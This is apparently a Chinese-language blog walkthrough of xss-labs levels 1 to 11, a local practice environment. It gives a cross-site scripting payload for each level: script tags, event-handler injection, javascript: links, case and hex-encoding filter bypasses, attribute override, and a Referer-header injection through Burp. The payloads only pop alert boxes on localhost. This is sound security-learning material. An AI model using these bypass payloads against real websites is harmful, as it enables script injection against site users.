xss-labs闯关【1-11】
第一关
直接输入http://localhost/xsslabs/level1.php?name=<script>alert(1)</script>
第二关
http://localhost/xsslabs/level2.php?keyword="><script>alert(1)</script>
第三关
' οnmοuseοver=alert`1` '
第四关
" οnmοuseοver="alert(/xss)
第五关
<script"'Oonn>显示<scr_ipt"'oo_nn> 关键字过滤,其他不变
"><a href="javascript:alert:alert(/xss/)">click</a> 引入超链接,生成click
">
:用于闭合前一个HTML标签的属性值(如value="..."
)和标签本身(如<input>
)。
<a href="javascript:alert:alert(/xss/)">click</a>
:注入一个新的链接标签,其中href
属性包含JavaScript代码。
javascript:
:这是伪协议,告诉浏览器执行JavaScript代码
alert:alert(/xss/)
:这是一个有效的JavaScript语句。这里:
alert:
是一个标签(label),在JavaScript中常用于循环或开关语句,但在此处它只是语法上的装饰,没有实际功能。
alert(/xss/)
是一个函数调用,会弹出一个警告框,内容为/xss/
。
浏览器在执行JavaScript URL时,会忽略标签(label)并直接执行后面的语句,因此alert(/xss/)
被成功调用,触发弹窗。
第六关
先用这个测试<script"'Oonn> ,显示跟第五关一样<scr_ipt"'Oo_nn>
继续用"><a href="javascript:alert:alert(/xss/)">click</a>
可以看到"><被过滤,href也是,换成大写试一下
"><a hREf="javascript:alert:alert(/xss/)">click</a>
可以显示超链接,证明他没有做大小写过滤
第七关
测试<script"'Oonn>
可以看到,script变空,Oonn中间on不见,并且O大写变小写
" Oonnmouseover="alert(/xss/)用这个可以把中间on去掉,O变小写
第八关
用这个测试<script"'oonn>
script变scr_ipt "变" '不变
用伪协议,发现也不行
javascript:alert(/xss/) 把s变成16进制就可以了
第九关
<script"'Oonn>继续用这个测试,给它一点面子
可以看到直接把我们的连接干掉了
javascript:alert(/xss/)用上一关的,试了也不行,既然说我们的连接不合法,那就改成合法的,用百度网址试一下javascript:alert('http://baidu.com')就可以了
第十关
keyword输入测试内容,http://127.0.0.1/xsslabs/level10.php?keyword=<script"'OOnn>
从标签字段下手,这些字段的值可通过URL参数控制http://127.0.0.1/xsslabs/level10.php?t_link=1
还是不行,换第二个http://127.0.0.1/xsslabs/level10.php?t_history=1 还是不行
第三个,http://127.0.0.1/xsslabs/level10.php?t_sort=1
改成可以弹窗的连接标签
http://127.0.0.1/xsslabs/level10.php?t_sort=click"; type="button" οnclick="alert()
属性覆盖机制:
HTML规范规定:当元素有重复属性时,第一个出现的属性值有效
Payload将
type="button"
放在前面,覆盖了原本的type="hidden"
type="button" <!-- 第一个type属性,生效 -->
onclick="alert(/xss/)" <!-- 添加事件处理器 -->
type="hidden" <!-- 重复属性,被忽略 -->
分号(;)
value="click";
中的分号在HTML中没有特殊含义浏览器会将其视为值的一部分,不会造成语法错误
"
用于闭合value属性,使后续内容成为新属性
onclick="alert(/xss/)"
添加了点击事件当用户点击按钮时触发XSS
type="button"
覆盖了type="hidden"
使元素从不可见变为可见按钮
十一关
打开火狐的burp代理,输入<script"'OOnn>测试,bp上抓包
查看源代码,比上一关多了t_ref 那就在这里引入
这里遇到了点问题,火狐开启代理后还是无法抓到有referer字段的包
火狐搜索about:config
然后在访问后的搜索框内搜索 network.proxy.allow_hijacking_localhost,将值改为true,重新上一步步骤,到bp抓包就有了
把referer字段改成" type="text" οnclick="alert('xss')再回到火狐查看源代码,能看到已经响应了,然后弹出标签就过关了
感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。